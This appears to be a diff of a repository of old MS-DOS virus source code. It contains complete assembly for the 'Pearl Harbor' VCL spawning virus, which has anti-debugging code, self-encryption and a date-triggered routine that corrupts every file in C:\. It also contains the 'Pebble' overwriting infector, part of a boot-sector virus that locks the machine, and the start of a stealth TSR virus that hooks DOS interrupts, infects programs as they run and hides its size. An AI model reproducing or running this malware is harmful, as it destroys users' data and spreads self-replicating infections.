OR AL,AL ;check for text end (0)
|
||||
JZ LOCK_IT_UP ;if end of message, lock up system
|
||||
MOV AH,0E ;select write-character function
|
||||
XOR BX,BX ;page 0, color 0
|
||||
INT 010 ;display character on screen
|
||||
JMP DMLP1 ;do it all again
|
||||
|
||||
LOCK_IT_UP:
|
||||
CLI ;disable interrupts
|
||||
HLT ;select 0.0 Mips mode
|
||||
|
||||
;*****************************************************************************
|
||||
;Storage area for BIOS INT13 vector used by virus.
|
||||
|
||||
DB ? ;Pad byte (A86 assembly only)
|
||||
DW ? ;BIOS INT13 offset storage location
|
||||
DW ? ;BIOS INT13 segment storage location
|
||||
|
||||
;*****************************************************************************
|
||||
;Text strings for activation message.
|
||||
|
||||
MESSAGE_TEXT:
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
DB "That was for ARCV, mother fucker!"
|
||||
DB 0A,0A,0D ;linefeed x 2, car. ret.
|
||||
DB "Payback! (c) 1993"
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
|
||||
;*****************************************************************************
|
||||
;End-of-boot sector pad bytes and valid boot sector tag bytes.
|
||||
|
||||
DB 10 DUP ? ;pad bytes
|
||||
DB 055,0AA ;valid boot sector tag
|
||||
|
||||
;****************************************************************************
|
||||
;Start of space reserved for disk I/O
|
||||
|
||||
MBR_BUFFER:
|
||||
|
||||
DB 512 DUP ? ;reserve one sectors worth of space
|
||||
|
||||
;****************************************************************************
|
||||
;Storage location for INT13 vector used by dropper routine.
|
||||
|
||||
VECT_INT13:
|
||||
|
||||
DD ? ;BIOS INT13 offset/segment storage
|
||||
|
||||
MAIN ENDS
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,434 @@
|
|||
; PEARLHBR.ASM -- Pearl Harbor Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 2 ; Spawning Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0007h ; Did the function return 7?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end00: call get_country
|
||||
cmp ax,0051h ; Did the function return 81?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0007h ; Did the function return 7?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: mov dx,offset data01 ; DX points to data
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to stack frame
|
||||
sub sp,4096 ; Allocate 4096-byte buffer
|
||||
push di ; Save DI
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
mov di,bx ; DI points to DTA
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
int 021h
|
||||
jc corrupt_end ; If no files found then exit
|
||||
corrupt_file: mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
c_crypt_loop: mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4096 ; Read 4k of characters
|
||||
lea dx,[bp - 4096] ; DX points to the buffer
|
||||
int 021h
|
||||
or ax,ax ; Were 0 bytes read?
|
||||
je close_c_file ; If so then close it up
|
||||
push ax ; Save AX
|
||||
lea si,[bp - 4096] ; SI points to the buffer
|
||||
xor ah,ah ; BIOS get clock ticks function
|
||||
int 01Ah
|
||||
pop cx ; CX holds number of bytes read
|
||||
push cx ; Save CX
|
||||
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
|
||||
inc si ; Do the next byte
|
||||
inc dx ; Change the key for next byte
|
||||
loop corrupt_bytes ; Repeat until buffer is done
|
||||
pop dx ; Restore DX (holds bytes read)
|
||||
push dx ; Save count for write
|
||||
mov ax,04201h ; DOS file seek function, current
|
||||
mov cx,0FFFFh ; Seeking backwards
|
||||
neg dx ; Seeking backwards
|
||||
int 021h
|
||||
mov ah,040h ; DOS write to file function
|
||||
pop cx ; CX holds number of bytes read
|
||||
lea dx,[bp - 4096] ; DX points to the buffer
|
||||
int 021h
|
||||
jmp short c_crypt_loop
|
||||
close_c_file: mov ax,05701h ; DOS set file date/time function
|
||||
mov cx,[di + 016h] ; CX holds old file time
|
||||
mov dx,[di + 018h] ; DX holds old file data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor ch,ch ; Clear CH for attributes
|
||||
mov cl,[di + 015h] ; CL holds old attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc corrupt_file ; If successful do next file
|
||||
corrupt_end: pop di ; Restore DI
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
pop bp ; Restore BP
|
||||
|
||||
end01:
|
||||
mov ah,04Ah ; DOS resize memory function
|
||||
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
|
||||
int 021h
|
||||
|
||||
mov sp,(finish - start) + 01100h ; Change top of stack
|
||||
|
||||
mov si,offset spawn_name ; SI points to true filename
|
||||
int 02Eh ; DOS execution back-door
|
||||
push ax ; Save return value for later
|
||||
|
||||
mov ax,cs ; AX holds code segment
|
||||
mov ds,ax ; Restore data segment
|
||||
mov es,ax ; Restore extra segment
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
|
||||
pop ax ; AL holds return value
|
||||
mov ah,04Ch ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 010h,07Ch,0E5h,00Ch,0DAh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
mov dx,offset root ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
mov dx,offset all_files ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
mov dx,offset up_dir ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
traverse endp
|
||||
|
||||
db 0D0h,0DCh,083h,09Eh,044h
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 07Eh,0FFh,09Ah,025h,02Bh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov di,bx ; DI points to the DTA
|
||||
|
||||
lea si,[di + 01Eh] ; SI points to file name
|
||||
mov dx,si ; DX points to file name, too
|
||||
mov di,offset spawn_name + 1; DI points to new name
|
||||
xor ah,ah ; AH holds character count
|
||||
transfer_loop: lodsb ; Load a character
|
||||
or al,al ; Is it a NULL?
|
||||
je transfer_end ; If so then leave the loop
|
||||
inc ah ; Add one to the character count
|
||||
stosb ; Save the byte in the buffer
|
||||
jmp short transfer_loop ; Repeat the loop
|
||||
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
|
||||
mov byte ptr [di],13 ; Make CR the final character
|
||||
|
||||
mov di,dx ; DI points to file name
|
||||
xor ch,ch ;
|
||||
mov cl,ah ; CX holds length of filename
|
||||
mov al,'.' ; AL holds char. to search for
|
||||
repne scasb ; Search for a dot in the name
|
||||
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
||||
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
int 021h
|
||||
jnc infection_done ; File already exists, so leave
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ah,03Ch ; DOS create file function
|
||||
mov cx,00100111b ; CX holds file attributes (all)
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
spawn_name db 12,12 dup (?),13 ; Name for next spawn
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 038h,025h,0F2h,0EAh,074h
|
||||
|
||||
get_country proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to stack frame
|
||||
sub sp,34 ; Allocate 34 bytes on stack
|
||||
|
||||
mov ah,038h ; DOS get country function
|
||||
lea dx,[bp - 34] ; DX points to unused buffer
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; AX holds the country code
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
get_country endp
|
||||
|
||||
db 05Bh,02Dh,0FBh,03Ah,0E9h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 049h,053h,0C8h,006h,095h
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10
|
||||
db 07,07,07
|
||||
db "*** REMEMBER PEARL HARBOR ***",13,10,0
|
||||
|
||||
data01 db "C:\*.*",0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "Dedicated to the memories of t"
|
||||
db "he brave American men and wome"
|
||||
db "n who gave their lives at [Pea"
|
||||
db "rl Harbor].",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,66 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ PEBBLE ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 21-Feb-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_0001e equ 9Eh
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
pebble proc far
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; 'N'
|
||||
mov cx,27h
|
||||
mov dx,12Ch
|
||||
loc_0001:
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jc loc_0002 ; Jump if carry Set
|
||||
call sub_0001
|
||||
mov ah,4Fh ; 'O'
|
||||
jmp short loc_0001
|
||||
loc_0002:
|
||||
int 20h ; DOS program terminate
|
||||
|
||||
pebble endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_0001 proc near
|
||||
mov ax,3D02h
|
||||
mov dx,data_0001e
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov ah,40h ; '@'
|
||||
mov cx,32h
|
||||
mov dx,100h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
retn
|
||||
sub_0001 endp
|
||||
|
||||
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
|
@ -0,0 +1,716 @@
|
|||
;*****************************************************************************
|
||||
;* THE PENIS VIRUS
|
||||
;*
|
||||
;*
|
||||
;* By Soltan Griss [YAM]
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;* In no means was this intended to be a serious virus, I got bored one day
|
||||
;* and decided to have some fun.
|
||||
;*
|
||||
;*
|
||||
;* Well Here it is...
|
||||
;*
|
||||
;*****************************************************************************
|
||||
seg_a segment
|
||||
assume cs:seg_a,ds:seg_a,es:nothing
|
||||
|
||||
org 100h
|
||||
start: db 0E9h,02,00,42h,0f2h
|
||||
|
||||
mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY
|
||||
mov si,offset old_8 ;encrypt All text messages
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,offset data
|
||||
call crypter
|
||||
|
||||
|
||||
vstart equ $
|
||||
call code_start
|
||||
code_start:
|
||||
pop si
|
||||
sub si,offset code_start
|
||||
mov bp,si
|
||||
jmp load ;Load in the TSR
|
||||
;**************************************************************************
|
||||
|
||||
old_8 dw 0,0
|
||||
|
||||
new_8: push ax
|
||||
push bx ;lets run the clock
|
||||
push cx ;backwards
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov bx,ds:46Ch
|
||||
mov cx,ds:046Eh
|
||||
dec bx
|
||||
jno loc_4
|
||||
dec cx
|
||||
jno loc_4
|
||||
mov bx,0AFh
|
||||
mov cx,18h ;remember to do it twice
|
||||
loc_4: ;cause the normal increase
|
||||
dec bx ;will negate the first one
|
||||
jno loc_5
|
||||
dec cx
|
||||
jno loc_5
|
||||
mov bx,0AFh
|
||||
mov cx,18h
|
||||
loc_5:
|
||||
mov ds:046Eh,cx
|
||||
mov ds:046Ch,bx
|
||||
pop ds
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
do_old_8: jmp dword ptr cs:[old_8-vstart]
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;int 9 handler
|
||||
|
||||
old_9 dd ? ;Store old int 9
|
||||
|
||||
new_9:
|
||||
|
||||
push ax
|
||||
in al,60h ;Turn on Register 60
|
||||
cmp al,53h ;Ctrl-Alt-Del
|
||||
|
||||
je fuck_you
|
||||
pop ax
|
||||
jmp dword ptr cs:[(old_9-vstart)]
|
||||
|
||||
say_it: db "FUCK YOU ASSHOLE! ","$"
|
||||
|
||||
fuck_you:
|
||||
push ds
|
||||
push dx
|
||||
mov ah,9h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov dx,say_it-vstart ;Say message
|
||||
int 21h
|
||||
pop dx
|
||||
pop ds
|
||||
pop ax
|
||||
iret
|
||||
|
||||
|
||||
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
|
||||
old_21 dd ?
|
||||
|
||||
new_21:
|
||||
cmp ax,4b00h ;Are we executing?
|
||||
je exec1
|
||||
|
||||
cmp ah,11h
|
||||
je hide_size
|
||||
cmp ah,12h
|
||||
je hide_size
|
||||
cmp ax,0f242h ;Are we going resident?
|
||||
jne do_old
|
||||
mov bx,242fh ;Set our residency byte
|
||||
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
|
||||
exec1: jmp exec
|
||||
do_dir: jmp dword ptr cs:[(old_21-vstart)]
|
||||
ret
|
||||
|
||||
hide_size:
|
||||
pushf
|
||||
push cs
|
||||
call do_dir ;get the current FCB
|
||||
cmp al,00h
|
||||
jnz dir_error ;jump if bad FCB
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push es ;undocumented get FCB
|
||||
mov ah,51h ;location
|
||||
int 21h
|
||||
mov es,bx ;get info from FCB
|
||||
cmp bx,es:[16h]
|
||||
jnz not_inf
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;get DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;Check for extended FCB
|
||||
jnz normal_fcb
|
||||
add bx,7h
|
||||
normal_fcb:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
xor al,01h ;check for 2 seconds
|
||||
jnz not_inf
|
||||
|
||||
and byte ptr es:[bx+17h],0e0h ;subtract virus size
|
||||
sub es:[bx+1dh],(vend-vstart)
|
||||
sbb es:[bx+1fh],ax
|
||||
not_inf:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
dir_error:
|
||||
iret ;back to caller
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
;***************************************************************************
|
||||
;* PICTURE TO DISPLAY
|
||||
;***************************************************************************
|
||||
|
||||
data DB 'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',4,' ',15,'Ü',4,' ',15,' '
|
||||
DB 15,' ',15,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',15,'Ü',4
|
||||
DB 'Ü',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü',4
|
||||
DB 'Ü',4,' ',15,' ',15,'Ü',4,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,'Ü',4,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û'
|
||||
DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
|
||||
DB ' ',64,'Û',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
|
||||
DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'Ü',4,' ',15
|
||||
DB ' ',15,' ',15,' ',15,'Ü',4,' ',64,' ',4,' ',15,' ',15
|
||||
DB 'Û',4,'Û',4,'Ü',4,' ',15,'Û',64,' ',64,'Û',4,' ',15,'Û'
|
||||
DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
|
||||
DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
|
||||
DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',64,'Ü',64,'Ü',64,'Ü',64,'ß',64,'Û',64,' '
|
||||
DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
|
||||
DB 64,' ',15,' ',15,' ',15,' ',64,'Ü',4,' ',64,' ',64,'ß'
|
||||
DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'Û',4,' ',15,'Û'
|
||||
DB 4,'Ü',4,'Û',4,' ',15,'Û',4,' ',15,'Û',4,'Ü',64,'Ü',64
|
||||
DB 'Û',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
|
||||
DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'Ü',4
|
||||
DB 'Ü',4,'Ü',4,'Ü',64,' ',15,' ',64,'Ü',4,'Ü',4,'Ü',4,' '
|
||||
DB 15,' ',64,'Ü',4,'Ü',4,' ',64,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,'Û',4,' ',15,' ',15,'ß',4,' ',15,' ',15,'Û'
|
||||
DB 4,' ',15,'Û',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û',64,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Û',96,'ß',96
|
||||
DB 'ß',96,'ß',96,'Û',96,'Û',96,'Û',96,'Û',96,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
